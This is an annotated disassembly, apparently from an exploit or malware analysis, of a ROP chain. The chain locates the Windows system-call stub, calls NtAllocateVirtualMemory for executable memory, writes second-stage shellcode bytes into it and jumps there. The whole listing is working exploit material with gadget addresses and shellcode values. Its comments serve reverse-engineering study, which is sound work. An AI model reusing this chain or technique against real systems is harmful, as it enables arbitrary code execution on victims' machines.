seg000:00000BEC dd 7004919h ; pop ecx seg000:00000BEC ; pop ecx seg000:00000BEC ; mov dword ptr [eax+0Ch], 1 seg000:00000BEC ; pop esi seg000:00000BEC ; pop ebx seg000:00000BEC ; retn seg000:00000BF0 dd 0CCCCCCCCh ; ecx = 0xCCCCCCCC seg000:00000BF4 dd 70048EFh ; ecx = 0x070048EF seg000:00000BF8 dd 700156Fh ; esi = 0x0700156F seg000:00000BFC dd 0CCCCCCCCh ; ebx = 0xCCCCCCCC seg000:00000C00 dd 7009084h ; retn seg000:00000C04 dd 7009084h ; retn seg000:00000C08 dd 7009084h ; retn seg000:00000C0C dd 7009084h ; retn seg000:00000C10 dd 7009084h ; retn seg000:00000C14 dd 7009084h ; retn seg000:00000C18 dd 7009033h ; retn 18h seg000:00000C1C dd 7009084h ; skipped by retn 18h seg000:00000C20 dd 0C0C0C0Ch ; skipped by retn 18h seg000:00000C24 dd 7009084h ; skipped by retn 18h seg000:00000C28 dd 7009084h ; skipped by retn 18h seg000:00000C2C dd 7009084h ; skipped by retn 18h seg000:00000C30 dd 7009084h ; skipped by retn 18h seg000:00000C34 dd 7009084h ; skipped by retn 18h seg000:00000C38 dd 7009084h ; retn seg000:00000C3C dd 7009084h ; retn seg000:00000C40 dd 7009084h ; retn seg000:00000C44 dd 7001599h ; pop ebp seg000:00000C44 ; retn seg000:00000C48 dd 10124h ; ebp = 0x10124 seg000:00000C4C dd 70072F7h ; pop eax seg000:00000C4C ; retn seg000:00000C50 dd 10104h ; eax = 0x10104 seg000:00000C54 dd 70015BBh ; pop ecx seg000:00000C54 ; retn seg000:00000C58 dd 1000h ; ecx = 0x1000 seg000:00000C5C dd 700154Dh ; mov [eax], ecx => [0x10104] = 0x1000 seg000:00000C5C ; retn seg000:00000C60 dd 70015BBh ; pop ecx seg000:00000C60 ; retn seg000:00000C64 dd 7FFE0300h ; ecx = 0x7FFE0300 (Address of pointer to SystemCallStub) seg000:00000C68 dd 7007FB2h ; mov eax, [ecx] seg000:00000C6C dd 70015BBh ; pop ecx seg000:00000C6C ; retn seg000:00000C70 dd 10011h ; ecx = 0x10011 seg000:00000C74 seg000:00000C74 The pointer to SystemCallStub is stored in 0x10011 seg000:00000C74 seg000:00000C74 dd 700A8ACh ; mov [ecx], eax seg000:00000C74 ; xor eax, eax seg000:00000C74 ; retn seg000:00000C78 dd 70015BBh ; pop ecx seg000:00000C78 ; retn seg000:00000C7C dd 10100h ; ecx = 0x10100 seg000:00000C80 seg000:00000C80 0x10100 is cleared because NtAllocateVirtualMemory requires 0 here. seg000:00000C80 seg000:00000C80 dd 700A8ACh ; mov [ecx], eax seg000:00000C80 ; xor eax, eax seg000:00000C80 ; retn seg000:00000C84 dd 70072F7h ; pop eax seg000:00000C84 ; retn seg000:00000C88 dd 10011h ; eax = 0x10011 seg000:00000C8C seg000:00000C8C Now that the pointer to SystemCallStub is stored in 0x10011 seg000:00000C8C the code calls 0x10011 with ax = 0x11 which is NtAllocateVirtualMemory. seg000:00000C8C seg000:00000C8C dd 70052E2h ; call dword ptr [eax] seg000:00000C90 dd 7005C54h ; pop esi seg000:00000C90 ; add esp, 14h seg000:00000C90 ; retn seg000:00000C94 seg000:00000C94 These values are the arguments to NtAllocateVirtualMemory. seg000:00000C94 seg000:00000C94 dd 0FFFFFFFFh ; esi = 0xFFFFFFFF seg000:00000C98 dd 10100h seg000:00000C9C dd 0 seg000:00000CA0 dd 10104h seg000:00000CA4 dd 1000h seg000:00000CA8 dd 40h seg000:00000CAC seg000:00000CAC Execution resumes here after cleaning up the stack. seg000:00000CAC Remember that ebp was set to 0x10124 earlier, so ebp-24 is 0x10100. seg000:00000CAC 0x10100 contains the base address of the allocated virtual memory now. seg000:00000CAC seg000:00000CAC dd 700D731h ; mov eax, [ebp-24h] seg000:00000CAC ; retn seg000:00000CB0 seg000:00000CB0 What happens now is that code is written to the freshly allocated seg000:00000CB0 virtual memory through a series of pop ecx/mov [eax], ecx instructions. seg000:00000CB0 This code is the second-stage of the shellcode. seg000:00000CB0 seg000:00000CB0 dd 70015BBh ; pop ecx seg000:00000CB0 ; retn seg000:00000CB4 dd 9054905Ah ; ecx = 0x9054905A seg000:00000CB8 dd 700154Dh ; mov [eax], ecx seg000:00000CB8 ; retn seg000:00000CBC dd 700A722h ; add eax, 4 seg000:00000CBC ; retn seg000:00000CC0 dd 70015BBh ; pop ecx seg000:00000CC0 ; retn seg000:00000CC4 dd 5815EB5Ah ; ecx = 0x5815EB5A seg000:00000CC8 dd 700154Dh ; mov [eax], ecx seg000:00000CC8 ; retn seg000:00000CCC dd 700A722h ; add eax, 4 seg000:00000CCC ; retn seg000:00000CD0 dd 70015BBh ; pop ecx seg000:00000CD0 ; retn seg000:00000CD4 dd 18891A8Bh ; ecx = 0x18891A8B seg000:00000CD8 dd 700154Dh ; mov [eax], ecx seg000:00000CD8 ; retn seg000:00000CDC dd 700A722h ; add eax, 4 seg000:00000CDC ; retn seg000:00000CE0 dd 70015BBh ; pop ecx seg000:00000CE0 ; retn seg000:00000CE4 dd 8304C083h ; ecx = 0x8304C083 seg000:00000CE8 dd 700154Dh ; mov [eax], ecx seg000:00000CE8 ; retn seg000:00000CEC dd 700A722h ; add eax, 4 seg000:00000CEC ; retn seg000:00000CF0 dd 70015BBh ; pop ecx seg000:00000CF0 ; retn seg000:00000CF4 dd 0FB8104C2h ; ecx = 0xFB8104C2 seg000:00000CF8 dd 700154Dh ; mov [eax], ecx seg000:00000CF8 ; retn seg000:00000CFC dd 700A722h ; add eax, 4 seg000:00000CFC ; retn seg000:00000D00 dd 70015BBh ; pop ecx seg000:00000D00 ; retn seg000:00000D04 dd 0C0C0C0Ch ; ecx = 0x0C0C0C0C seg000:00000D08 dd 700154Dh ; mov [eax], ecx seg000:00000D08 ; retn seg000:00000D0C dd 700A722h ; add eax, 4 seg000:00000D0C ; retn seg000:00000D10 dd 70015BBh ; pop ecx seg000:00000D10 ; retn seg000:00000D14 dd 5EBEE75h ; ecx = 0x5EBEE75 seg000:00000D18 dd 700154Dh ; mov [eax], ecx seg000:00000D18 ; retn seg000:00000D1C dd 700A722h ; add eax, 4 seg000:00000D1C ; retn seg000:00000D20 dd 70015BBh ; pop ecx seg000:00000D20 ; retn seg000:00000D24 dd 0FFFFE6E8h ; ecx = FFFFE6E8 seg000:00000D28 dd 700154Dh ; mov eax, [ecx] seg000:00000D28 ; retn seg000:00000D2C dd 700A722h ; add eax, 4 seg000:00000D2C ; retn seg000:00000D30 dd 70015BBh ; pop ecx seg000:00000D30 ; retn seg000:00000D34 dd 909090FFh ; ecx = 0x909090FF seg000:00000D38 dd 700154Dh ; mov eax, [ecx] seg000:00000D38 ; retn seg000:00000D3C dd 700A722h ; add eax, 4 seg000:00000D3C ; retn seg000:00000D40 dd 70015BBh ; pop ecx seg000:00000D40 ; retn seg000:00000D44 dd 90909090h ; ecx = 0x90909090 seg000:00000D48 dd 700154Dh ; mov eax, [ecx] seg000:00000D48 ; retn seg000:00000D4C dd 700A722h ; add eax, 4 seg000:00000D4C ; retn seg000:00000D50 dd 70015BBh ; pop ecx seg000:00000D50 ; retn seg000:00000D54 dd 90909090h ; ecx = 0x90909090 seg000:00000D58 dd 700154Dh ; mov eax, [ecx] seg000:00000D58 ; retn seg000:00000D5C dd 700A722h ; add eax, 4 seg000:00000D5C ; retn seg000:00000D60 dd 70015BBh ; pop ecx seg000:00000D60 ; retn seg000:00000D64 dd 90FFFFFFh ; ecx = 0x90FFFFFF seg000:00000D68 dd 700154Dh ; mov eax, [ecx] seg000:00000D68 ; retn seg000:00000D6C seg000:00000D6C After the second stage was written, the shellcode can now jump to the beginning seg000:00000D6C of the allocated virtual memory which is the second stage of the shellcode. seg000:00000D6C seg000:00000D6C dd 700D731h ; mov eax, [ebp-24h] seg000:00000D6C ; retn seg000:00000D70 dd 700112Fh ; call eax